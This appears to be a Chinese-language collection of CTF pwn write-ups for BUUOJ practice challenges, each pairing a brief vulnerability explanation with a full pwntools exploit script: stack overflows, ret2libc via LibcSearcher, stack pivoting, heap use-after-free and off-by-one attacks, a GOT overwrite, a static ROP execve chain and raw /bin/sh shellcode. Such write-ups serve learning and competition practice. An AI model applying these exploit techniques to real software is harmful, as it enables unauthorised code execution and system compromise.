mrctf2020_easyoverflow

fake_flag 是 n0t_r3@11y_f1@g

image.png
image.png

程序 gets 到的是 v4(rbp-0x70),然后对比的 v5 是在 rbp-0x40,输入 0x30 个字符之后再输入就是与 fake flag 对比的了

image.png
image.png
1
2
3
4
5
6
from pwn import *
p=process('./mrctf2020_easyoverflow')
#p=remote('node3.buuoj.cn',26974)
payload='a'*0x30+'n0t_r3@11y_f1@g'
p.sendline(payload)
p.interactive()

jarvisoj_level5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#p = remote('node3.buuoj.cn',28116)
p=process('./pwn')
elf = ELF('./pwn')
payload = 'a'*0x80 + 'a'*0x8
rdi_add = 0x4006b3
rsir15_add = 0x4006b1
write_plt = elf.plt['write']
write_got = elf.got['write']
vul_add = elf.symbols['vulnerable_function']
payload1 = payload + p64(rdi_add) + p64(0x1) + p64(rsir15_add) + p64(write_got) + 'deadbeef' + p64(write_plt) + p64(vul_add)
p.recvuntil("Input:\n")
p.sendline(payload1)
write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
sys_add = libc_base + libc.dump('system')
binsh_add =libc_base+libc.dump('str_bin_sh')
payload2 = payload + p64(rdi_add) + p64(binsh_add) + p64(sys_add)
p.recvuntil("Input:\n")
p.sendline(payload2)
p.interactive()

gyctf_2020_some_thing_exceting

去申请的时候会先申请 0x10 大小的 chunk 来存放用户申请的 chunk 的指针,free 的时候没有置为 NULL,存在 UAF
在一开始的时候会把 flag 读到 0x6020A8 这里,只要能 show 这个地址的内容就行

image.png
image.png

一开始申请两个与 0x10 不一样大的,然后 free 掉,再去申请 0x10 大小的时候就会申请到那个存储指针的那里,修改指针为 bss 段放 flag 的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
from pwn import *
p=process("./pwn")

def create(size1,content1,size2,content2):
p.sendlineafter("want to do :","1")
p.sendlineafter("length : ",str(size1))
p.sendlineafter("ba : ",content1)
p.sendlineafter("length : ",str(size2))
p.sendlineafter("na : ",content2)

def delete(index):
p.sendlineafter("want to do :","3")
p.sendlineafter("Banana ID : ",str(index))

def show(index):
p.sendlineafter("what you want to do :","4")
p.sendlineafter("SCP project ID : ",str(index))

create(0x30,"yichen",0x20,"writeup")
create(0x30,"yichen",0x20,"writeup")
gdb.attach(p)
pause()
flag_addr=0x6020A8
delete(0)
delete(1)
create(0x10,p64(flag_addr),0x10,p64(flag_addr))
show(0)
p.interactive()
image.png
image.png

actf_2019_babystack

只能栈溢出 0x10 大小的,栈迁移
给出了写到的地址,一开始通过栈迁移执行 puts 函数来拿到函数的地址,从而获得 libc 的地址
然后再一次栈迁移执行 system 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
p = process("./pwn")
#p=remote("node3.buuoj.cn",27254)
elf = ELF("./pwn")
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main_addr = 0x04008F6
leave_ret = 0x400A4E
pop_rdi = 0x0400ad3
ret = 0x400709
p.sendlineafter(">","224")
p.recvuntil("0x")
address = int(p.recv(12),16)
payload1 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload1=payload1.ljust(0xd0,'a')
payload1 += p64(address-8) + p64(leave_ret)
p.send(payload1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00"))
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump("puts")
sys_addr = libcbase + libc.dump("system")
bin_sh = libcbase + libc.dump("str_bin_sh")
p.sendlineafter(">","224")
p.recvuntil("0x")
address = int(p.recv(12),16)
payload2 = p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
payload2 = payload2.ljust(0xd0,'a')
payload2 += p64(address-8) + p64(leave_ret)
p.send(payload2)
p.interactive()

[-]axb_2019_brop64

如果不是 brop 的话只是一道经典的 ret2libc

测试出缓冲区大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
context.log_level='debug'
def getsize():
i = 200
while 1:
try:
p = remote('node3.buuoj.cn',25413)
p.recvuntil("Please tell me:")
p.send(i*'a')
sleep(0.1)
data = p.recv()
p.close()
if "Goodbye" not in data:
return i-1
else:
i+=1
except EOFError:
p.close()
return i-1

size = getsize()
print "size is [%s]"%size

cmcc_pwnme2

返回到 gets 函数,往 strings 那里写入 flag 的路径然后用 exec_string() 给读出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = "debug"
#p = process("./pwnme2")
p=remote("node3.buuoj.cn",27892)
elf = ELF("./pwnme2")
gets_plt=elf.plt['gets']
pop_rdi=0x0400963
exec_string=0x80485CB
string=0x804A060
payload='a'*0x6c+'a'*4+p32(gets_plt)+p32(exec_string)+p32(string)
p.sendlineafter("input:\n",payload)
p.sendline('./flag')
p.interactive()

picoctf_2018_can_you_gets_me

静态链接的程序,直接 rop chain
ROPgadget –binary pwn –ropchain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# coding=utf-8
from pwn import *
context.log_level = "debug"
from struct import pack
#sh = process("./pwn")
sh = remote("node3.buuoj.cn",27195)
# Padding goes here
p = 'a'*28
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80

sh.sendlineafter("GIVE ME YOUR NAME!\n",p)
sh.interactive()

hitcontraining_unlink

picoctf_2018_got_shell

有个后门,0x804854B,程序可以把 4 字节的内容写到一个地址上,把 puts 的 got 表写入后门的地址就行了

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = remote('node3.buuoj.cn',25055)
elf = ELF("./pwn")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
win_addr=0x804854B
p.sendlineafter("byte value?",hex(puts_got))
p.recvuntil("write to")
p.sendlineafter("\n",hex(win_addr))
p.interactive()

npuctf_2020_easyheap

只能申请 26 跟 56 大小的 chunk,在一开始会申请 0x10 大小的 chunk,用来存放用户申请的 size 与指针

image.png
image.png

edit 的时候有一个 off by one,free 的时候存在 UAF

image.png
image.png
image.png
image.png

首先申请两个 0x20 的,因为还有存放用户申请的 size 与 指针的两个 0x20 大小程序自己申请的 chunk,现在一共是 4 个 0x20 大小的 chunk

image.png
image.png

现在编辑第 0 个(index 从 0 开始)通过 off by one 把 0x603290 也就是记录 index1 的那个 chunk 的 size 改为 0x41,然后把第一个 delete 掉,这样就有了一个 0x20 大小和一个 0x40 大小的 free chunk

接下来再去 create 一个 0x40 大小的,因为有个 0x20 大小的 free chunk,所以会被用来放 size 与指针,但是他包含在我们申请的 0x20 中的,可以编辑掉,如果编辑为 atoi 的 got 表项就可以通过 show 来,以此得到 libc 的地址然后计算 system 的地址,然后再次编辑 system 函数直接输入 ‘/bin/sh\x00’ 就直接拿到 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
#p=remote('node3.buuoj.cn',25010)
context.log_level='debug'

def create(size,content):
p.sendlineafter("choice :",'1')
p.sendlineafter("(0x10 or 0x20 only) : ",str(size))
p.sendlineafter("Content:",content)

def edit(index,content):
p.sendlineafter("choice :","2")
p.sendlineafter("Index :",str(index))
p.sendlineafter("Content: ",content)

def show(index):
p.sendlineafter("choice :",'3')
p.sendlineafter("Index :",str(index))

def delete(index):
p.sendlineafter("choice :","4")
p.sendlineafter("Index :",str(index))

create(24,'yichen')
create(24,'writeup')
edit(0,'a'*0x18+'\x41')
delete(1)
create(56,'a'*0x18+p64(0x21)+p64(0x8)+p64(elf.got['atoi']))
show(1)
p.recvuntil("Content : ")
atoi_addr = u64(p.recvuntil('\x7f').ljust(8, '\x00'))
libc_base = atoi_addr - libc.symbols['atoi']
sys_addr = libc_base + libc.symbols['system']
edit(1,p64(sys_addr))
p.sendlineafter('Your choice :','/bin/sh\x00')
p.interactive()

ciscn_2019_s_9

存在栈溢出
hint 函数中 jmp esp 的地址 0x8048554
如果 shellcode 直接放后面会不够大

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = process('./pwn')
jmpesp = 0x8048554
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = shellcode+(36-len(shellcode))*'a'+p32(jmpesp)
payload += asm('sub esp,40;jmp esp')
p.sendline(payload)
p.interactive()